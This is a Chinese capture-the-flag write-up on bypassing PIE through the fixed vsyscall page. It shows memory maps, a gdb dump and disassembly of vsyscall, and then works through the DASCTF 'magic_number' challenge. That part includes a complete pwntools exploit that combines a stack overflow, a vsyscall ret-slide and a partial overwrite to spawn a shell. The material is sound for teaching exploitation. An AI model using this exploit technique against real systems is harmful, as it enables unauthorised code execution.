PIE绕过-vsyscall

前面我学习了一种pie绕过方法,然而那种方法有很大的局限性(没那么简单的题~),今天我又学到了一种方法——-vsyscall

测试

使用cat /proc/self/maps指令 来查看当前的函数库,堆栈的地址(我的aslr开启)
第一次:

01f76000-01f97000 rw-p 00000000 00:00 0                                  [heap]
7f2c892ed000-7f2c89780000 r--p 00000000 08:01 132431                     /usr/lib/locale/locale-archive
7f2c89780000-7f2c89967000 r-xp 00000000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89967000-7f2c89b67000 ---p 001e7000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89b67000-7f2c89b6b000 r--p 001e7000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89b6b000-7f2c89b6d000 rw-p 001eb000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89b6d000-7f2c89b71000 rw-p 00000000 00:00 0 
7f2c89b71000-7f2c89b98000 r-xp 00000000 08:01 1052451                    /lib/x86_64-linux-gnu/ld-2.27.so
7f2c89d5b000-7f2c89d7f000 rw-p 00000000 00:00 0 
7f2c89d98000-7f2c89d99000 r--p 00027000 08:01 1052451                    /lib/x86_64-linux-gnu/ld-2.27.so
7f2c89d99000-7f2c89d9a000 rw-p 00028000 08:01 1052451                    /lib/x86_64-linux-gnu/ld-2.27.so
7f2c89d9a000-7f2c89d9b000 rw-p 00000000 00:00 0 
7ffd6e568000-7ffd6e589000 rw-p 00000000 00:00 0                          [stack]
7ffd6e5bc000-7ffd6e5bf000 r--p 00000000 00:00 0                          [vvar]
7ffd6e5bf000-7ffd6e5c1000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

再次执行:

01fd7000-01ff8000 rw-p 00000000 00:00 0                                  [heap]
7f074db97000-7f074e02a000 r--p 00000000 08:01 132431                     /usr/lib/locale/locale-archive
7f074e02a000-7f074e211000 r-xp 00000000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f074e211000-7f074e411000 ---p 001e7000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f074e411000-7f074e415000 r--p 001e7000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f074e415000-7f074e417000 rw-p 001eb000 08:01 1052455                    /lib/x86_64-linux-gnu/libc-2.27.so
7f074e417000-7f074e41b000 rw-p 00000000 00:00 0 
7f074e41b000-7f074e442000 r-xp 00000000 08:01 1052451                    /lib/x86_64-linux-gnu/ld-2.27.so
7f074e605000-7f074e629000 rw-p 00000000 00:00 0 
7f074e642000-7f074e643000 r--p 00027000 08:01 1052451                    /lib/x86_64-linux-gnu/ld-2.27.so
7f074e643000-7f074e644000 rw-p 00028000 08:01 1052451                    /lib/x86_64-linux-gnu/ld-2.27.so
7f074e644000-7f074e645000 rw-p 00000000 00:00 0 
7fffa112f000-7fffa1150000 rw-p 00000000 00:00 0                          [stack]
7fffa11b7000-7fffa11ba000 r--p 00000000 00:00 0                          [vvar]
7fffa11ba000-7fffa11bc000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

可以发现堆区,栈区,以及一些libc库的基地址都发生了变化,只有那个神奇的东西其地址不动如山。他就是———–vsyscall
vsyscall的地址一直在ffffffffff600000-ffffffffff601000之间

vsyscall何许人也~

简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.

gdb dump 文件

  • 先在一个终端运行某个程序

    hunter@hunter:~/PWN/DASCTF/七夕$ ./magic_number 
    Your Input :
  • 开启一个终端查看进程PID

    hunter@hunter:~$ ps aux | grep magic_number
    hunter    11588  0.3  1.4 774976 28600 ?        Sl   23:00   0:09 gedit /home/hunter/PWN/DASCTF/七夕/magic_number.py
    hunter    13464  0.0  0.0   4376   708 pts/3    S+   23:50   0:00 ./magic_number   
    hunter    13495  0.0  0.0  16180  1092 pts/18   S+   23:51   0:00 grep --color=auto magic_number
    是中间那个
  • 执行 sudo gdb attach 13464

    R12: 0x555fc4460870 (xor    ebp,ebp)
    R13: 0x7ffe99e87760 --> 0x1 
    R14: 0x0 
    R15: 0x0
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
     0x7fa10243707b <__GI___libc_read+11>:    jne    0x7fa102437090 <__GI___libc_read+32>
     0x7fa10243707d <__GI___libc_read+13>:    xor    eax,eax
     0x7fa10243707f <__GI___libc_read+15>:    syscall 
    => 0x7fa102437081 <__GI___libc_read+17>:    cmp    rax,0xfffffffffffff000
     0x7fa102437087 <__GI___libc_read+23>:    ja     0x7fa1024370e0 <__GI___libc_read+112>
     0x7fa102437089 <__GI___libc_read+25>:    repz ret 
     0x7fa10243708b <__GI___libc_read+27>:    nop    DWORD PTR [rax+rax*1+0x0]
     0x7fa102437090 <__GI___libc_read+32>:    push   r12
    [------------------------------------stack-------------------------------------]
    0000| 0x7ffe99e87648 --> 0x555fc4460ae0 (mov    eax,0x0)
    0008| 0x7ffe99e87650 --> 0x7fa1027289a0 (<_dl_fini>:    push   rbp)
    0016| 0x7ffe99e87658 --> 0x0 
    0024| 0x7ffe99e87660 --> 0x555fc4460af0 (push   r15)
    0032| 0x7ffe99e87668 --> 0x555fc4460870 (xor    ebp,ebp)
    0040| 0x7ffe99e87670 --> 0x7ffe99e87760 --> 0x1 
    0048| 0x7ffe99e87678 --> 0xb483671a00000000 
    0056| 0x7ffe99e87680 --> 0x555fc4460af0 (push   r15)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x00007fa102437081 in __GI___libc_read (fd=0x0, buf=0x7ffe99e87650, nbytes=0x100) at ../sysdeps/unix/sysv/linux/read.c:27
    27    ../sysdeps/unix/sysv/linux/read.c: 没有那个文件或目录.
    gdb-peda$ 
  • dump 地址 :dump memory 生成的文件名 addr1 addr2

    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x00007feca1425081 in __GI___libc_read (fd=0x0, buf=0x7ffc39ab82e0, nbytes=0x100) at ../sysdeps/unix/sysv/linux/read.c:27
    27    ../sysdeps/unix/sysv/linux/read.c: 没有那个文件或目录.
    gdb-peda$ dump memory magic_number.dump 0xffffffffff600000 0xffffffffff601000
    gdb-peda$ 
    这样就把从0xffffffffff6000000xffffffffff601000地址处的二进制文件dump下来,生成magic_number.dump文件

IDA查看

seg000:0000000000000000 ; Format      : 二进制
seg000:0000000000000000 ; Base Address: 0000h Range: 0000h - 1000h Loaded length: 1000h
seg000:0000000000000000
seg000:0000000000000000                 .686p
seg000:0000000000000000                 .mmx
seg000:0000000000000000                 .model flat
seg000:0000000000000000
seg000:0000000000000000 ; ===========================================================================
seg000:0000000000000000
seg000:0000000000000000 ; Segment type: Pure code
seg000:0000000000000000 seg000          segment byte public 'CODE' use64
seg000:0000000000000000                 assume cs:seg000
seg000:0000000000000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000                 mov     rax, 60h
seg000:0000000000000007                 syscall                 ; Low latency system call
seg000:0000000000000009                 retn
seg000:0000000000000009 ; ---------------------------------------------------------------------------
seg000:000000000000000A                 align 400h
seg000:0000000000000400                 mov     rax, 0C9h
seg000:0000000000000407                 syscall                 ; Low latency system call
seg000:0000000000000409                 retn
seg000:0000000000000409 ; ---------------------------------------------------------------------------
seg000:000000000000040A                 align 400h
seg000:0000000000000800                 mov     rax, 135h
seg000:0000000000000807                 syscall                 ; Low latency system call
seg000:0000000000000809                 retn
seg000:0000000000000809 ; ---------------------------------------------------------------------------
seg000:000000000000080A                 align 800h
seg000:000000000000080A seg000          ends
seg000:000000000000080A
seg000:000000000000080A
seg000:000000000000080A                 end

可以看到这里有三个系统调用,从上到下依次为gettimeofday,time,getcpu(查系统调用号)。都是系统调用,都包含syscall指令,也许这个syscall将来可以利用。

注意:
当我们直接调用vsyscall中的syscall时,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错
所以,我们可以直接利用的地址是0xffffffffff600000、0xffffffffff600400、 0xffffffffff600800

利用

由于这三个系统调用都是无参数传参,且地址固定,我们可以用来绕过PIE,原因是他们的影响性小且带有ret指令。就可以把这三个系统调用看作三个地址不同的ret指令。我们可以用他们不停的滑到下方栈地址

滑动绕过演示

原理:利用栈里面的数据一般不会被清理干净,还保存着以前的信息可以为我们所用

DASCTF-七夕赛-magic_number

checksec
hunter@hunter:~/PWN/DASCTF/七夕$ checksec magic_number
[*] '/home/hunter/PWN/DASCTF/\xe4\xb8\x83\xe5\xa4\x95/magic_number'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    就canary没开

IDA

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+2Ch] [rbp-4h]

  sub_9A0();
  v5 = rand();
  if ( v5 == 0x12345678 )
    system("/bin/sh");
  puts("Your Input :");
  read(0, &buf, 0x100uLL);   //溢出点很容易得到:0x30+8
  return 0LL;
}


rand()signed __int64 rand()
{
  signed __int64 result; // rax
  unsigned int buf; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  buf = 0;
  fd = open("/dev/urandom", 0);  
  if ( fd == -1 )
  {
    puts("error");
    result = 1LL;
  }
  else
  {
    read(fd, &buf, 4uLL);
    close(fd);
    result = buf;
  }
  return result;
}

思路

  • 那个rand()函数就是从/dev/urandom文件里面读入4个字节到buf,返回buf地址到main函数中的v5
  • 想让v5 == 0x12345678但/dev/urandom文件无法改,又没有改v5值的方法,所以这是不可能的
  • main函数存在栈溢出
  • 开启PIE,在栈中找到保存main函数中的某些地址(system)
  • 利用栈溢出跳到system(‘/bin/sh’)处即可

gdb查看栈信息

如果直接gdb调试失败,可以在脚本中插入gdb.attach(sh).或者向上面一样找到正在执行中magic_number的PID,用sudo gdb attach PID指令来调试

RBP: 0x562182e3faf0 (push   r15)
RSP: 0x7ffe0b264818 --> 0x7f0fa29a0b97 (<__libc_start_main+231>:    mov    edi,eax)
RIP: 0x562182e3fae6 (ret)
R8 : 0xc ('\x0c')
R9 : 0x7f0fa2f7d4c0 (0x00007f0fa2f7d4c0)
R10: 0x0 
R11: 0x246 
R12: 0x562182e3f870 (xor    ebp,ebp)
R13: 0x7ffe0b2648f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x562182e3fadb:    call   0x562182e3f838 <read@plt>
   0x562182e3fae0:    mov    eax,0x0
   0x562182e3fae5:    leave  
=> 0x562182e3fae6:    ret    
   0x562182e3fae7:    nop    WORD PTR [rax+rax*1+0x0]
   0x562182e3faf0:    push   r15
   0x562182e3faf2:    push   r14
   0x562182e3faf4:    mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffe0b264818 --> 0x7f0fa29a0b97 (<__libc_start_main+231>:    mov    edi,eax)
0008| 0x7ffe0b264820 --> 0x1 
0016| 0x7ffe0b264828 --> 0x7ffe0b2648f8 --> 0x7ffe0b2652f0 ("./magic_number")
0024| 0x7ffe0b264830 --> 0x100008000 
0032| 0x7ffe0b264838 --> 0x562182e3fa80 (push   rbp)
0040| 0x7ffe0b264840 --> 0x0 
0048| 0x7ffe0b264848 --> 0xf14225c379c56e4c 
0056| 0x7ffe0b264850 --> 0x562182e3f870 (xor    ebp,ebp)

在要执行ret时,栈中发现栈第五行存放的地址和main函数中指令地址(ret及以上都是)就差后面两个16进制数。

找到main中执行system(‘/bin/sh’)的地址信息(用IDA)

.text:0000000000000AA8 lea     rdi, command    ; "/bin/sh"=======目标
.text:0000000000000AAF mov     eax, 0
.text:0000000000000AB4 call    system


.text:0000000000000AB9 loc_AB9:
.text:0000000000000AB9 lea     rdi, aYourInput ; "Your Input :"
.text:0000000000000AC0 call    puts
.text:0000000000000AC5 lea     rax, [rbp+buf]
.text:0000000000000AC9 mov     edx, 100h       ; nbytes
.text:0000000000000ACE mov     rsi, rax        ; buf
.text:0000000000000AD1 mov     edi, 0          ; fd
.text:0000000000000AD6 mov     eax, 0
.text:0000000000000ADB call    read
.text:0000000000000AE0 mov     eax, 0
.text:0000000000000AE5 leave
.text:0000000000000AE6 retn

由以上信息易知:把栈第五行地址的后两位覆盖为:A8,然后用vsyscall滑到这里来就行了

EXP

from pwn import*
context.log_level = 'debug'

vsyscall = 0xffffffffff600000

payload = 'A'*0x30
payload += p64(0xdeadbeef)   //此处覆盖RBP
payload += p64(vsyscall)
payload += p64(vsyscall)
payload += p64(vsyscall)
payload += p64(vsyscall)
payload += '\xA8'   //对应第五行栈

sh = process('./magic_number')
#sh = remote('183.129.189.60',10010)    
print sh.recv()
#gdb.attach(sh)
sh.send(payload)
sh.interactive()

结果:

[DEBUG] Sent 0x59 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  ef be ad de  00 00 00 00  00 00 60 ff  ff ff ff ff  │····│····│··`·│····│
    00000040  00 00 60 ff  ff ff ff ff  00 00 60 ff  ff ff ff ff  │··`·│····│··`·│····│
    00000050  00 00 60 ff  ff ff ff ff  a8                        │··`·│····│·│
    00000059
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

详情见:http://blog.eonew.cn/archives/968 https://www.anquanke.com/post/id/177520


  转载请注明: Squarer PIE绕过-vsyscall

  目录